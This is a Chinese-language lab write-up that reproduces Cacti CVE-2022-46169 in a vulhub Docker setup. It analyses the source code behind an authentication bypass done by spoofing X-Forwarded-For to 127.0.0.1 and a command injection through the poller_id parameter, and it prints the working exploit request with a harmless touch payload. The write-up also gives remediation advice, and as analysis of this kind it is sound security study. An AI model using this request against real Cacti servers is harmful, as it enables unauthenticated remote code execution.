目录
4.1.1.4 remote_agent_strip_domain
4.3 绕过prepare_validate_result函数
1 环境搭建
1.1 linux:
1.1.1 在ubuntu上拉取环境(docker)
root@yang:~/vulhub/cacti/CVE-2022-46169# wget https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.22.zip^C
1.1.2 docker环境部署
使用此命令构建docker环境镜像
root@yang:~/vulhub/cacti/CVE-2022-46169# docker compose up -d
WARN[0000] /root/vulhub/cacti/CVE-2022-46169/docker-compose.yml: the attribute `version` is obsol ete, it will be ignored, please remove it to avoid potential confusion
[+] Running 2/2
✔ Container cve-2022-46169-db-1 Started 0.5s
✔ Container cve-2022-46169-web-1 Started
1.1.3 查看镜像端口:
root@yang:~/vulhub/cacti/CVE-2022-46169# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
nginx latest 9592f5595f2b 4 weeks ago 192MB
mysql 5.7 5107333e08a8 19 months ago 501MB
vulhub/cacti 1.2.22 c0a06715ff54 2 years ago 642MB
root@yang:~/vulhub/cacti/CVE-2022-46169# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
9b7a360a3476 vulhub/cacti:1.2.22 "bash /entrypoint.sh…" 2 weeks ago Up 2 minutes 0.0.0.0:8080->80/tcp, [::]:8080->80/tcp cve-2022-46169-web-1
35343a3e052e mysql:5.7 "docker-entrypoint.s…" 2 weeks ago Up 2 minutes 3306/tcp, 33060/tcp cve-2022-46169-db-1
1.1.4 访问
1.1.5 查看数据库配置:
1.2 windows搭建:
下载安装包后直接部署在小皮的WWW的目录下面,发现报错
1.2.1 config.php.dist
这是一个备份文件,可以修改为php文件,作为mysql
修改配置文件
无法成功!稍后再试,尝试了很多方法都不行
2 环境设置
2.1 登录仙人掌
账号:admin
密码:admin
进入后就直接一直next
2.2 设置
3 vscode进入容器的方法
因为自己最开始不知道,所以写了
然后在这里面可以选择想进入的容器:
4 RCE绕过与分析
4.1 绕过鉴权函数
4.1.1 函数分析
function remote_client_authorized() {
global $poller_db_cnn_id;
/* don't allow to run from the command line */
$client_addr = get_client_addr();
if ($client_addr === false) {
return false;
}
if (!filter_var($client_addr, FILTER_VALIDATE_IP)) {
cacti_log('ERROR: Invalid remote agent client IP Address. Exiting');
return false;
}
$client_name = gethostbyaddr($client_addr);
if ($client_name == $client_addr) {
cacti_log('NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM);
} else {
$client_name = remote_agent_strip_domain($client_name);
}
$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);
if (cacti_sizeof($pollers)) {
foreach($pollers as $poller) {
if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
return true;
} elseif ($poller['hostname'] == $client_addr) {
return true;
}
}
}
cacti_log("Unauthorized remote agent access attempt from $client_name ($client_addr)");
return false;
}
4.1.1.1 get_client_addr
走到这个函数里面来,再接着走到了get_client_addr 这一看就知道应该是获取客户端的地址的函数,那我们来分析一下他的函数源码
function get_client_addr($client_addr = false) {
$http_addr_headers = array(
'X-Forwarded-For',
'X-Client-IP',
'X-Real-IP',
'X-ProxyUser-Ip',
'CF-Connecting-IP',
'True-Client-IP',
'HTTP_X_FORWARDED',
'HTTP_X_FORWARDED_FOR',
'HTTP_X_CLUSTER_CLIENT_IP',
'HTTP_FORWARDED_FOR',
'HTTP_FORWARDED',
'HTTP_CLIENT_IP',
'REMOTE_ADDR',
);
//循环获取他的http的请求头
$client_addr = false;
foreach ($http_addr_headers as $header) {
if (!empty($_SERVER[$header])) {
$header_ips = explode(',', $_SERVER[$header]);
foreach ($header_ips as $header_ip) {
if (!empty($header_ip)) {
if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {
cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
} else {
$client_addr = $header_ip;
cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
break 2;
}
}
}
}
}
return $client_addr;
}
最开始这个数组就是为了循环获取他的请求头的数据
$_server:就是为了获取到X-Forwarded-For,这样就可以判断能不能获取到这个X-Forwarded-For参数,就可以判断出请求头是否伪空
<?php
echo'<pre>';
var_dump($_SERVER);
可以打印出全局的数组,其中它就有请求头的数据
打印出来的数据如上:和f12里面的http-request-header里面的内容是一样的
所以说我们可以通过获取X-Forwarded-For,可以进行伪造
$header_ips = explode(',', $_SERVER[$header]);
foreach ($header_ips as $header_ip) {
if (!empty($header_ip)) {
if (!filter_var($header_ip, FILTER_VALIDATE_IP))
这里是通过全局数组获取到了header头里面的ip字段的信息,获取到后,判断是否为空,如果不是空,就用filter_var来进行过滤
FILTER_VALIDATE_IP:这是一个过滤器,用来验证IP是否合法
4.1.1.2 break 2:
跳出两层循环
break 2
是 PHP 中的控制语句,用于终止多层嵌套循环的执行。在这段代码中,它的作用是:
- 内层循环:遍历由逗号分隔的 IP 列表(例如,当代理服务器链传递多个 IP 时)。
- 外层循环:遍历 HTTP 头数组。
当在内层循环中找到第一个有效 IP 后,
break 2
会立即终止两层循环,直接跳到整个循环结构之后的代码(即return $client_addr
)。这确保函数在找到第一个有效 IP 后立即返回,避免继续检查其他头或 IP
4.1.1.3 remote_client_authorized()
function remote_client_authorized() {
global $poller_db_cnn_id;
/* don't allow to run from the command line */
$client_addr = get_client_addr();
if ($client_addr === false) {
return false;
}
当ip为127.0.0.1时,因为break2直接get_client_addr返回的$client_addr就是127.0.0.1,接着
if (!filter_var($client_addr, FILTER_VALIDATE_IP)) { cacti_log('ERROR: Invalid remote agent client IP Address. Exiting'); return false; } $client_name = gethostbyaddr($client_addr); if ($client_name == $client_addr) { cacti_log('NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM); } else { $client_name = remote_agent_strip_domain($client_name); }
对127.0.0.1进行合法性校验,然后通过gethostbyaddr这个函数将127.0.0.1转换成了localhost,因为client_name 和client_addr不相等,就走到了else里面,然后走到了remote_agent_strip_domain这个函数里面
4.1.1.4 remote_agent_strip_domain
function remote_agent_strip_domain($host) { if (strpos($host, '.') !== false) { $parts = explode('.', $host); return $parts[0]; } else { return $h
$client_name就传到了$host为localhost,因为它没有.,所以它直接返回了$h,也就是localhost
strpos:这个函数是返回$host里面的第一次出现点号的位置,返回从0开始的点号的索引位置
explode('.', $host)
函数:
- 功能:将字符串
$host
按点号(.
)分割成数组。- 示例:
explode('.', 'www.google.com')
→['www', 'google', 'com']
。explode('.', 'localhost')
→['localhost']
$parts[0]
返回值:作用:返回分割后的第一个元素(即主机名部分)。
返回$host:
通过以上分析返回是localhost:接着走以下代码
if (cacti_sizeof($pollers)) {
foreach($pollers as $poller) {
if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
return true;
这个内层函数返回的结果通过以上分析,也应该是localhost跟我们的client_name是一样的,所以返回true
所以通过分析可以知道,这样我们就绕过了这个鉴权函数,主要问题是出现在get_client_addr的时候,直接两层循环退出了,所以X-Forwarded-For就可以进行伪造成127.0.0.1(localhost)
鉴权完成后就走到4.2了
4.2 用户可控参数--get
这里有用户可控的参数,那么我可以走进此开关,就可以走进条件case 'polldata'
4.2.1 初步分析
鉴权完成后走到这个函数
当我进入这个case后,就会触发poll_for_data这个函数
function poll_for_data() {
global $config;
$local_data_ids = get_nfilter_request_var('local_data_ids');
$host_id = get_filter_request_var('host_id');
$poller_id = get_nfilter_request_var('poller_id');
$return = array();
$i = 0;
可以看到这个函数请求了三个内容,那我们看一下官方给的payload测试就明白了
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
就刚好传递了 local_data_ids(array) host_id(string) poller_id(string)这三个参数
4.2.2 分析函数的if
进入这个函数的第一个if,观察它都查询了poller_item这个表
if (cacti_sizeof($local_data_ids)) {
foreach($local_data_ids as $local_data_id) {
input_validate_input_number($local_data_id);
$items = db_fetch_assoc_prepared('SELECT *
FROM poller_item
WHERE host_id = ?
AND local_data_id = ?',
array($host_id, $local_data_id));
$script_server_calls = db_fetch_cell_prepared('SELECT COUNT(*)
FROM poller_item
WHERE host_id = ?
AND local_data_id = ?
AND action = 2',
array($host_id, $local_data_id));
进docker查询一下这个表的默认值(总共有6行数据):
mysql> select * from poller_item \G
local_data_id: 1
poller_id: 1
host_id: 1
action: 1
present: 1
last_updated: 2025-07-28 12:07:34
hostname: localhost
snmp_community: public
snmp_version: 0
snmp_username:
snmp_password:
snmp_auth_protocol:
snmp_priv_passphrase:
snmp_priv_protocol:
snmp_context:
snmp_engine_id:
snmp_port: 161
snmp_timeout: 500
rrd_name: proc
rrd_path: /var/www/html/rra/local_linux_machine_proc_1.rrd
rrd_num: 1
rrd_step: 300
rrd_next_step: 0
arg1: perl /var/www/html/scripts/unix_processes.pl
arg2:
arg3:
*************************** 2. row ***************************
local_data_id: 2
poller_id: 1
host_id: 1
action: 1
present: 1
last_updated: 2025-07-28 12:07:34
hostname: localhost
snmp_community: public
snmp_version: 0
snmp_username:
snmp_password:
snmp_auth_protocol:
snmp_priv_passphrase:
snmp_priv_protocol:
snmp_context:
snmp_engine_id:
snmp_port: 161
snmp_timeout: 500
rrd_name:
rrd_path: /var/www/html/rra/local_linux_machine_load_1min_2.rrd
rrd_num: 1
rrd_step: 300
rrd_next_step: 0
arg1: perl /var/www/html/scripts/loadavg_multi.pl
arg2:
arg3:
*************************** 3. row ***************************
local_data_id: 3
poller_id: 1
host_id: 1
action: 1
present: 1
last_updated: 2025-07-28 12:07:34
hostname: localhost
snmp_community: public
snmp_version: 0
snmp_username:
snmp_password:
snmp_auth_protocol:
snmp_priv_passphrase:
snmp_priv_protocol:
snmp_context:
snmp_engine_id:
snmp_port: 161
snmp_timeout: 500
rrd_name: users
rrd_path: /var/www/html/rra/local_linux_machine_users_3.rrd
rrd_num: 1
rrd_step: 300
rrd_next_step: 0
arg1: perl /var/www/html/scripts/unix_users.pl ''
arg2:
arg3:
*************************** 4. row ***************************
local_data_id: 4
poller_id: 1
host_id: 1
action: 1
present: 1
last_updated: 2025-07-28 12:07:34
hostname: localhost
snmp_community: public
snmp_version: 0
snmp_username:
snmp_password:
snmp_auth_protocol:
snmp_priv_passphrase:
snmp_priv_protocol:
snmp_context:
snmp_engine_id:
snmp_port: 161
snmp_timeout: 500
rrd_name: mem_buffers
rrd_path: /var/www/html/rra/local_linux_machine_mem_buffers_4.rrd
rrd_num: 1
rrd_step: 300
rrd_next_step: 0
arg1: perl /var/www/html/scripts/linux_memory.pl 'MemFree:'
arg2:
arg3:
*************************** 5. row ***************************
local_data_id: 5
poller_id: 1
host_id: 1
action: 1
present: 1
last_updated: 2025-07-28 12:07:34
hostname: localhost
snmp_community: public
snmp_version: 0
snmp_username:
snmp_password:
snmp_auth_protocol:
snmp_priv_passphrase:
snmp_priv_protocol:
snmp_context:
snmp_engine_id:
snmp_port: 161
snmp_timeout: 500
rrd_name: mem_swap
rrd_path: /var/www/html/rra/local_linux_machine_mem_swap_5.rrd
rrd_num: 1
rrd_step: 300
rrd_next_step: 0
arg1: perl /var/www/html/scripts/linux_memory.pl 'SwapFree:'
arg2:
arg3:
*************************** 6. row ***************************
local_data_id: 6
poller_id: 1
host_id: 1
action: 2
present: 1
last_updated: 2025-07-28 12:12:41
hostname: localhost
snmp_community: public
snmp_version: 0
snmp_username:
snmp_password:
snmp_auth_protocol:
snmp_priv_passphrase:
snmp_priv_protocol:
snmp_context:
snmp_engine_id:
snmp_port: 161
snmp_timeout: 500
rrd_name: uptime
rrd_path: /var/www/html/rra/local_linux_machine_uptime_6.rrd
rrd_num: 1
rrd_step: 300
rrd_next_step: 0
arg1: /var/www/html/scripts/ss_hstats.php ss_hstats '1' uptime
action的值1-5都为1,只有local_id=6的action为2,分析代码可以知道需要的是action为2的数据
4.2.3 ACTION为什么为2?
case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */
$cactides = array(
0 => array('pipe', 'r'), // stdin is a pipe that the child will read from
1 => array('pipe', 'w'), // stdout is a pipe that the child will write to
2 => array('pipe', 'w') // stderr is a pipe to write to
);
if (function_exists('proc_open')) {
$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
$output = fgets($pipes[1], 1024);
$using_proc_function = true;
} else {
$using_proc_function = false;
}
if ($using_proc_function == true) {
$output = trim(str_replace("\n", '', exec_poll_php($item['arg1'], $using_proc_function, $pipes, $cactiphp)));
if (prepare_validate_result($output) === false) {
if (strlen($output) > 20) {
$strout = 20;
} else {
$strout = strlen($output);
}
$output = 'U';
}
} else {
$output = 'U';
}
$return[$i]['value'] = $output;
$return[$i]['rrd_name'] = $item['rrd_name'];
$return[$i]['local_data_id'] = $local_data_id;
if (($using_proc_function == true) && ($script_server_calls > 0)) {
/* close php server process */
fwrite($pipes[0], "quit\r\n");
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
分析可知,只有当action为2才能走到这个case来,走进来过后才可以执行我们的RCE代码(proc_open)
if (cacti_sizeof($local_data_ids)) {
foreach($local_data_ids as $local_data_id) {
input_validate_input_number($local_data_id);
因为这里循环所以我们后面提交的是数组的payload,可以看一下:
payload:
action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
这样就说明了为什么我的local_data_ids为6,host_id=1,因为根据4.2.2分析得到
4.3 绕过prepare_validate_result函数
因为我要让$output有值,就必须要绕过此函数
if (prepare_validate_result($output) === false) {
if (strlen($output) > 20) {
$strout = 20;
} else {
$strout = strlen($output);
}
$output = 'U';
}
$return[$i]['value'] = $output;
$return[$i]['rrd_name'] = $item['rrd_name'];
$return[$i]['local_data_id'] = $local_data_id;
break;
函数代码:
function prepare_validate_result(&$result) {
/* first trim the string */
$result = trim($result, "'\"\n\r");
/* clean off ugly non-numeric data */
if (is_numeric($result)) {
dsv_log('prepare_validate_result','data is numeric');
return true;
} elseif ($result == 'U') {
dsv_log('prepare_validate_result', 'data is U');
return true;
} elseif (is_hexadecimal($result)) {
dsv_log('prepare_validate_result', 'data is hex');
return hexdec($result);
} elseif (substr_count($result, ':') || substr_count($result, '!')) {
/* looking for name value pairs */
if (substr_count($result, ' ') == 0) {
dsv_log('prepare_validate_result', 'data has no spaces');
return true;
} else {
$delim_cnt = 0;
if (substr_count($result, ':')) {
$delim_cnt = substr_count($result, ':');
} elseif (strstr($result, '!')) {
$delim_cnt = substr_count($result, '!');
}
$space_cnt = substr_count(trim($result), ' ');
dsv_log('prepare_validate_result', "data has $space_cnt spaces and $delim_cnt fields which is " . (($space_cnt+1 == $delim_cnt) ? 'NOT ' : '') . ' okay');
return ($space_cnt+1 == $delim_cnt);
}
} else {
$result = strip_alpha($result);
if ($result === false) {
$result = 'U';
return false;
} else {
return true;
}
}
}
5 漏洞复现演示
5.1进入数据库
root@yang:~/vulhub/cacti/CVE-2022-46169# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
9b7a360a3476 vulhub/cacti:1.2.22 "bash /entrypoint.sh…" 2 weeks ago Up 6 hours 0.0.0.0:8080->80/tcp, [::]:8080->80/tcp cve-2022-46169-web-1
35343a3e052e mysql:5.7 "docker-entrypoint.s…" 2 weeks ago Up 6 hours 3306/tcp, 33060/tcp cve-2022-46169-db-1
root@yang:~/vulhub/cacti/CVE-2022-46169# docker exec -it 35 /bin/bash
bash-4.2#
bash-4.2# mysql -uroot -proot
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 208
Server version: 5.7.44 MySQL Community Server (GPL)
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
5.2 payload抓包测试
payload:
http://192.168.37.136:8080/action=polldata&local_data_ids[0]=6&host_id=1&poller_id=%60touch+/tmp/success%60
打印值:表示我绕过了限制
查看一下我查询的值的hostname,因为根据第二张图可以知道查询出来的poller这个的hostname如果和client_name一样就可以直接绕过限制
5.3 上传payload
5.4 测试验证
进入docker:
root@yang:~/vulhub/cacti/CVE-2022-46169# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
9b7a360a3476 vulhub/cacti:1.2.22 "bash /entrypoint.sh…" 2 weeks ago Up 8 hours 0.0.0.80->80/tcp, [::]:8080->80/tcp cve-2022-46169-web-1
35343a3e052e mysql:5.7 "docker-entrypoint.s…" 2 weeks ago Up 8 hours 3306/t33060/tcp cve-2022-46169-db-1
root@yang:~/vulhub/cacti/CVE-2022-46169# docker exec -it 9b /bin/bash
root@9b7a360a3476:/var/www/html# cd /tmp/
进入tmp查看payload创建的succss这个文件是否成功
测试成功!!
6 代码回顾总结
6.1 remote_client_authorized()绕过
1,先判断鉴权的问题,就走到了remote_client_authorized()这个函数,
2,然后这个函数会走到get_client_addr()这个函数里面---》break 2---漏洞起始点--》X-Forwarded-For----》为127.0.0.1----》通过gethostbyaddr这个函数转换成localhost
3,数据库查询的poller的ids=6以及action为2的hostname值也为localhost
4,
这两个相等,所以就return true
就绕过了鉴权函数remote_client_authorized()
6.2 action get传参
用户可控的参数,接着进入poll for data()函数:
这个是命令执行的函数:
根据4.2可知有三个参数:
这3个参数基本上没有任何过滤
函数体:
$local_data_ids = get_nfilter_request_var('local_data_ids');
//必须是数组
$host_id = get_filter_request_var('host_id');
//1
$poller_id = get_nfilter_request_var('poller_id');
//执行命令的地方
$return = array();
执行完上面的代码后:会进入这个循环,但是这个数组里面只有一个6
oreach($local_data_ids as $local_data_id) {
input_validate_input_number($local_data_id);
这个代码执行的结果:因为我的payload传参为:action=polldata&local_data_ids[0]=6&host_id=1
$items = db_fetch_assoc_prepared('SELECT *
FROM poller_item
WHERE host_id = ?
AND local_data_id = ?',
array($host_id, $local_data_id));
根据传参的结果查询出来的结果为:
local_data_id: 6
poller_id: 1
host_id: 1
action: 2
present: 1
last_updated: 2025-07-28 12:12:41
hostname: localhost
6.3 当action=2
见4.2.3
if (function_exists('proc_open')) {
$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
$output = fgets($pipes[1], 1024);
$using_proc_function = true;
} else {
这里面会命令执行$poller_id,也就是我们payload的传参
poller_id=`touch+/tmp/success`
7 AI总结图(助于思考回顾)
远程代码执行漏洞分析 ├── 一、漏洞概述 │ ├── 漏洞类型:鉴权绕过+命令注入 │ ├── 影响范围:依赖X-Forwarded-For头鉴权且处理用户输入不严格的PHP系统 │ └── 攻击效果:攻击者可绕过身份验证并执行任意系统命令 │ ├── 二、漏洞技术细节 │ ├── 第一阶段:鉴权绕过 │ │ ├── 触发点:remote_client_authorized()函数 │ │ ├── 利用路径: │ │ │ ├── 客户端请求进入鉴权流程 │ │ │ ├── 调用get_client_addr()获取客户端地址 │ │ │ ├── 攻击者通过X-Forwarded-For头伪造地址为127.0.0.1 │ │ │ ├── gethostbyaddr将127.0.0.1解析为localhost │ │ │ ├── 数据库中poller配置的hostname也为localhost │ │ │ └── 地址匹配成功,鉴权绕过 │ │ └── 核心问题: │ │ ├── 依赖不可信的HTTP头进行身份验证 │ │ └── 未验证请求来源的真实性 │ │ │ ├── 第二阶段:命令注入 │ │ ├── 触发点:poll for data()函数 │ │ ├── 利用路径: │ │ │ ├── 用户可控参数: │ │ │ │ ├── local_data_ids(数组,未严格过滤) │ │ │ │ ├── host_id(整数,部分过滤) │ │ │ │ └── poller_id(命令执行点,无过滤) │ │ │ ├── 数据库查询: │ │ │ │ ├── SELECT * FROM poller_item WHERE host_id=1 AND local_data_id=6 │ │ │ │ └── 查询结果返回action=2的记录 │ │ │ └── 命令执行: │ │ │ ├── action=2触发proc_open函数调用 │ │ │ ├── 执行命令:php -q /script_server.php realtime $poller_id │ │ │ └── poller_id参数被攻击者注入恶意命令 │ │ └── 核心问题: │ │ ├── 用户输入未经过充分过滤和转义 │ │ ├── 使用不安全的命令拼接方式 │ │ └── 对关键参数类型和范围校验不足 │ ├── 三、攻击路径示例 │ ├── 构造HTTP请求: │ │ ├── 添加X-Forwarded-For: 127.0.0.1头 │ │ └── 请求URL: ?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` │ ├── 漏洞利用步骤: │ │ ├── 绕过鉴权验证 │ │ ├── 触发数据库查询 │ │ ├── 执行系统命令 │ │ └── 创建/tmp/success文件验证漏洞 │ ├── 四、安全风险评估 │ ├── 严重程度:高 │ ├── 利用条件: │ │ ├── 系统启用proc_open函数 │ │ ├── 可访问Web接口 │ │ └── 知晓数据库中有效local_data_id和host_id组合 │ └── 潜在危害: │ ├── 服务器被完全控制 │ ├── 数据泄露或篡改 │ └── 作为跳板攻击内部网络 │ ├── 五、修复建议 │ ├── 鉴权机制改进: │ │ ├── 不依赖X-Forwarded-For头进行安全决策 │ │ ├── 使用IP白名单结合API密钥验证 │ │ └── 增加来源IP和用户会话绑定机制 │ ├── 输入验证强化: │ │ ├── 对所有输入参数实施严格白名单过滤 │ │ ├── 使用escapeshellarg()处理命令参数 │ │ └── 对数组参数验证每个元素类型 │ └── 命令执行优化: │ ├── 重构代码避免直接执行外部命令 │ ├── 如果必须执行,使用安全的参数传递方式 │ └── 禁用不必要的系统命令执行函数